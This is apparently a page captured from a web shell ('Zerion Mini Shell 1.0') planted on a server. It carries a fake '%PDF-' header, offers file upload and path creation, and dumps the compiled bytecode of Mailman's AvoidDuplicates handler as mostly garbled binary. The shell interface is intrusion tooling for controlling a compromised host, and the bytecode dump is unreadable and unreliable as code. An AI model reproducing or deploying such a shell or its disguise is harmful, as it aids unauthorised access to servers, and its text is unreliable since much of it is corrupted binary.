%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/Handlers/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/Handlers/AvoidDuplicates.pyo

�
��ac@s}dZddlmZmZddlmZddlmZdZye	e
fWnek
rodZ	dZ
nXd�Zd	S(
srIf the user wishes it, do not send duplicates of the same message.

This module keeps an in-memory dictionary of Message-ID: and recipient pairs.
If a message with an identical Message-ID: is about to be sent to someone who
has already received a copy, we either drop the message, add a duplicate
warning header, or pass it through, depending on the user's preferences.
i����(tgetaddressest
formataddr(tmm_cfg(t
change_headers, iicCsG|d}|sdSi}|j�|j�|j�|j�g}x|D]}t||j�<qKWi}x�dD]�}t|j|g��}	|dkr�x-|	D]"\}
}|
|f||j�<q�Wnx0|	D](\}
}|s�q�nt||j�<q�WqrWx|D]}||j�=q
W|s+dSg}x�|D]�}|j|j��r�t}
|j	|�r�|j
|tj�r�t
}
n|
r�t|jdi�|<|j|�q�|j|j��r�||j�=q�q8|j|�q8W||d<|r<tdtjg|j�D]}t|�^q�|||�n|d=dS(	Ntrecipsttotccs	resent-tos	resent-ccsadd-dup-headertCc(RRs	resent-tos	resent-cc(tGetListEmailtGetBouncesEmailt
GetOwnerEmailtGetRequestEmailtTruetlowerRtget_allthas_keytisMembertgetMemberOptionRtDontReceiveDuplicatestFalset
setdefaulttappendRt
COMMASPACEtjointvaluesR(tmlisttmsgtmsgdataRtexplicit_recipst	listaddrstaddrtccaddrstheadertaddrstnamet	newrecipstrtsend_duplicateti((sn/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/AvoidDuplicates.pytprocess'sR




	
+N(
t__doc__temail.UtilsRRtMailmanRtMailman.Handlers.CookHeadersRRRRt	NameErrorR'(((sn/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Handlers/AvoidDuplicates.pyt<module>s



Zerion Mini Shell 1.0